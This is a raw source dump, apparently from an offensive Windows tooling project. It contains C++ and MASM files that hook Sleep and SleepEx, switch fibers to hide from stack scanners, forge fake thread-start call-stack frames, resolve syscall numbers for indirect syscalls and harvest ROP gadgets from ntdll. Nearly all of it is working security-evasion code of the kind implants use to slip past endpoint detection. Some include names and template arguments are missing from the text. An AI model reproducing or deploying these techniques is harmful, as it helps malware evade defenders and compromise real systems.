GoGoGadget(callR12gadgets); status = (NTSTATUS)CallR12( (PVOID)CallMe, 5, gadget, &hEvent, EVENT_ALL_ACCESS, NULL, 0, FALSE ); Delay = dwMilliseconds * 10000; DelayInterval.QuadPart = -Delay; p.ssn = (PVOID)(ULONGLONG)sysNtWaitForSingleObject.SSN; Spoof((PVOID)hEvent, (PVOID)(ULONGLONG)FALSE, (PVOID)&DelayInterval, NULL, &p, sysNtWaitForSingleObject.Syscall, (PVOID)(ULONGLONG)0); return; } // Hooked Sleep function VOID WINAPI hookedSleep(DWORD dwMilliseconds, ...) { // Restore original function bytes before execution RestoreOriginalBytes((PVOID)Sleep, originalSleepBytes, sizeof(originalSleepBytes)); // Switch to main fiber to hide execution from stack scanners gadget = GoGoGadget(callR12gadgets); CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber); // Call custom sleep function ImNotSleepingIPromise(dwMilliseconds); // Reapply the hook after execution HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes); } // Hooked SleepEx function DWORD WINAPI hookedSleepEx(DWORD dwMilliseconds, BOOL bAlertable, ...) { // Restore original function bytes before execution RestoreOriginalBytes((PVOID)SleepEx, originalSleepExBytes, sizeof(originalSleepExBytes)); // Switch to main fiber to hide execution from stack scanners gadget = GoGoGadget(callR12gadgets); CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber); ImNotSleepingIPromise(dwMilliseconds); // Reapply the hook after execution HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes); return 0; } // Hook Sleep and SleepEx VOID ReSleep() { HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes); HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes); } ================================================ FILE: spoof.asm ================================================ .code ; A function can be called like so ; ; Spoof(arg1, arg2, arg3, arg4, ¶m, function, (PVOID)0); ; ; Param is a struct containing some necessary information for the call to have fake frames added. ; The 6th argument is a pointer to the function to execute ; The 7th argument specifies the number of args to pass to the stack. It has to be at an 8 byte size. Spoof PROC pop rax ; Real return address in rax mov r10, rdi ; Store OG rdi in r10 mov r11, rsi ; Store OG rsi in r11 mov rdi, qword ptr [rsp + 32] ; Storing struct in rdi mov rsi, qword ptr [rsp + 40] ; Storing function to call ; --------------------------------------------------------------------- ; Storing our original registers ; --------------------------------------------------------------------- mov qword ptr [rdi + 24], r10 ; Storing OG rdi into param mov qword ptr [rdi + 88], r11 ; Storing OG rsi into param mov qword ptr [rdi + 96], r12 ; Storing OG r12 into param mov qword ptr [rdi + 104], r13 ; Storing OG r13 into param mov qword ptr [rdi + 112], r14 ; Storing OG r14 into param mov qword ptr [rdi + 120], r15 ; Storing OG r15 into param mov r12, rax ; OG code used r12 for ret addr ; --------------------------------------------------------------------- ; Prepping to move stack args ; --------------------------------------------------------------------- xor r11, r11 ; r11 = # of args pushed mov r13, qword ptr [rsp + 30h] ; r13 = total args to push mov r14, 200h ; Initial offset add r14, 8 add r14, qword ptr [rdi + 56] ; Add RUTS stack size add r14, qword ptr [rdi + 48] ; Add BTIT stack size add r14, qword ptr [rdi + 32] ; Add gadget frame size sub r14, 20h ; Adjust for first stack arg mov r10, rsp add r10, 30h ; Stack args base address looping_label: xor r15, r15 cmp r11, r13 je finish_label ; --------------------------------------------------------------------- ; Calculate target stack position ; --------------------------------------------------------------------- sub r14, 8 mov r15, rsp sub r15, r14 ; --------------------------------------------------------------------- ; Move stack argument ; --------------------------------------------------------------------- add r10, 8 push qword ptr [r10] pop qword ptr [r15] ; --------------------------------------------------------------------- ; Increment counter and loop ; --------------------------------------------------------------------- add r11, 1 jmp looping_label finish_label: ; ---------------------------------------------------------------------- ; Create working space and setup fake frames ; ---------------------------------------------------------------------- sub rsp, 200h push 0 ; RtlUserThreadStart frame sub rsp, qword ptr [rdi + 56] mov r11, qword ptr [rdi + 64] mov qword ptr [rsp], r11 ; BaseThreadInitThunk frame sub rsp, qword ptr [rdi + 32] mov r11, qword ptr [rdi + 40] mov qword ptr [rsp], r11 ; Gadget frame -- `jmp QWORD PTR [rbx]` sub rsp, qword ptr [rdi + 48] mov r11, qword ptr [rdi + 80] mov qword ptr [rsp], r11 ; ---------------------------------------------------------------------- ; Prepare for function call and fixup ; ---------------------------------------------------------------------- mov r11, rsi ; Function to call mov qword ptr [rdi + 8], r12 ; Store real return address mov qword ptr [rdi + 16], rbx ; Store original RBX lea rbx, fixup_label ; Get fixup address mov qword ptr [rdi], rbx ; Store fixup in struct mov rbx, rdi ; Param struct pointer ; Prepare syscall (if needed) mov r10, rcx mov rax, qword ptr [rdi + 72] jmp r11 ; Jump to target function fixup_label: mov rcx, rbx ; Restore param struct ; Cleanup stack frames add rsp, 200h add rsp, qword ptr [rbx + 48] add rsp, qword ptr [rbx + 32] add rsp, qword ptr [rbx + 56] ; Restore original registers mov rbx, qword ptr [rcx + 16] mov rdi, qword ptr [rcx + 24] mov rsi, qword ptr [rcx + 88] mov r12, qword ptr [rcx + 96] mov r13, qword ptr [rcx + 104] mov r14, qword ptr [rcx + 112] mov r15, qword ptr [rcx + 120] jmp qword ptr [rcx + 8] ; Jump to original return address Spoof ENDP END ================================================ FILE: syscalls.cpp ================================================ #include // Super reliable way to find the base address of a given module PBYTE FindModuleBase(const CHAR* moduleName) { // Retrieve the loader data from the Process Environment Block (PEB) PPEB_LDR_DATA loaderData = NtCurrentTeb()->ProcessEnvironmentBlock->Ldr; PLIST_ENTRY moduleListHead = (PLIST_ENTRY)&loaderData->Reserved2[1]; //Reserved2[1] == InLoadOrderModuleList PLIST_ENTRY currentEntry = moduleListHead->Blink; // Iterate through the loaded modules backwards while (currentEntry != moduleListHead) { // Get the module entry PLDR_DATA_TABLE_ENTRY_MODIFIED moduleEntry = CONTAINING_RECORD(currentEntry, LDR_DATA_TABLE_ENTRY_MODIFIED, InLoadOrderLinks); currentEntry = currentEntry->Blink; // Get the base address of the module PBYTE moduleBase = (PBYTE)moduleEntry->OriginalBase; // Access the NT headers of the module PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew); // Check if the module has an export directory DWORD exportDirectoryRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (!exportDirectoryRVA) continue; // No export table? skip // Access the export directory PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirectoryRVA); if (!exportDirectory->NumberOfNames) continue; // No symbols? skip // Extract the DLL name from the module entry char dllName[MAX_PATH]; // Buffer to store the DLL name snprintf(dllName, sizeof(dllName), "%wZ", moduleEntry->BaseDllName); // Extract BaseDllName // Compare the decoded name with the current module name if (strcmp(dllName, moduleName) == 0) return moduleBase; // Found the module, return its base address } // module not found return nullptr; } // Resolve System Service Number (SSN), Address, and Offset for a System Call Name SyscallEntry SSNLookup(PCHAR syscall) { SyscallEntry entry = { 0 }; // Load the Export Address Table PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(hNtdll + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew); DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (!exportDirRVA) return { 0 }; // No export table PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(hNtdll + exportDirRVA); PDWORD pFunctions = (PDWORD)(hNtdll + pExportDir->AddressOfFunctions); PDWORD pNames = (PDWORD)(hNtdll + pExportDir->AddressOfNames); PWORD pNameOrdinals = (PWORD)(hNtdll + pExportDir->AddressOfNameOrdinals); // Load the Exception Directory DWORD exceptTableRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress; if (!exceptTableRVA) return { 0 }; // No exception directory PIMAGE_RUNTIME_FUNCTION_ENTRY pRuntimeFuncTable = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(hNtdll + exceptTableRVA); INT64 ssn = 0; PBYTE address = 0; // Search export address table for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { PCHAR pFunctionName = (PCHAR)(hNtdll + pNames[i]); // Search runtime function table for (INT64 i = 0; pRuntimeFuncTable[i].BeginAddress; i++) { for (INT64 j = 0; j < pExportDir->NumberOfFunctions; j++) { if (pFunctions[pNameOrdinals[j]] == pRuntimeFuncTable[i].BeginAddress) { PCHAR api = (PCHAR)(hNtdll + pNames[j]); PCHAR s1 = api; PCHAR s2 = syscall; // Compare the syscall names while (*s1 && (*s1 == *s2)) s1++, s2++; INT64 cmp = (INT64)*(PBYTE)s1 - *(PBYTE)s2; if (!cmp) { address = (hNtdll + pRuntimeFuncTable[i].BeginAddress); // Locate `syscall; ret` sequence for (INT64 offset = 0; offset < 0x100; offset++) {// Scan up to 256 bytes if (address[offset] == 0x0F && address[offset + 1] == 0x05 && address[offset + 2] == 0xC3) { // Populate the SyscallEntry struct entry.SSN = ssn; entry.Address = address; entry.Syscall = (PVOID)(address + offset); return entry; } } } // If this is a syscall, increase the SSN value if (*(USHORT*)api == 'wZ') ssn++; } } } } return { 0 }; // Didn't find it } // Collect all instances of a given ROP gadget in a given module std::vector CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule) { std::vector gadgets; if (!hModule || !gadget || gadgetSize == 0) return gadgets; // Validate input PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast(hModule); if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return gadgets; // Validate DOS header PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast(reinterpret_cast(hModule) + pDosHeader->e_lfanew); if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) return gadgets; // Validate NT headers PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); UINT_PTR moduleBase = reinterpret_cast(hModule); // Loop through each section in the module for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) { // Check if the section is executable code if ((pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE) && (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { PBYTE sectionBase = reinterpret_cast(moduleBase + pSectionHeader->VirtualAddress); PBYTE sectionEnd = sectionBase + pSectionHeader->Misc.VirtualSize; // Search within the section for the gadget pattern for (PBYTE currentBytes = sectionBase; currentBytes <= sectionEnd - gadgetSize; ++currentBytes) { if (!memcmp(currentBytes, gadget, gadgetSize)) { gadgets.emplace_back(EncodePointer(reinterpret_cast(currentBytes))); // Construct each encoded address inside the vector } } } } //printf("Found %u gadgets\n", gadgets.size()); return gadgets; } // Choose a random gadget PVOID GoGoGadget(std::vector gadgets) { if (gadgets.empty()) return nullptr; // Return nullptr if the vector is empty // Randomly select and decode a gadget address static std::mt19937 rng(static_cast(std::time(nullptr))); std::uniform_int_distribution dist(0, gadgets.size() - 1); return DecodePointer((gadgets)[dist(rng)]); } // Checks the bytes immediately before each gadget VOID CheckGadgetPreBytes(const std::vector& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize) { for (const auto& encodedGadget : gadgets) { PBYTE gadgetAddress = reinterpret_cast(DecodePointer(encodedGadget)); // Decode the pointer // Ensure we can read preceding bytes safely PBYTE precedingBytes = gadgetAddress - lookbackSize; if (precedingBytes >= gadgetAddress) { printf("Skipping address %p (out of range)\n", gadgetAddress); continue; // Prevent underflow if the address is too low in memory } // Print address and bytes printf("Address: %p -> ", gadgetAddress); for (SIZE_T i = 0; i < lookbackSize + gadgetSize + 8; i++) { // Include gadget bytes and 4 bytes ahead of gadget too printf("%02X ", precedingBytes[i]); } printf("\n"); } }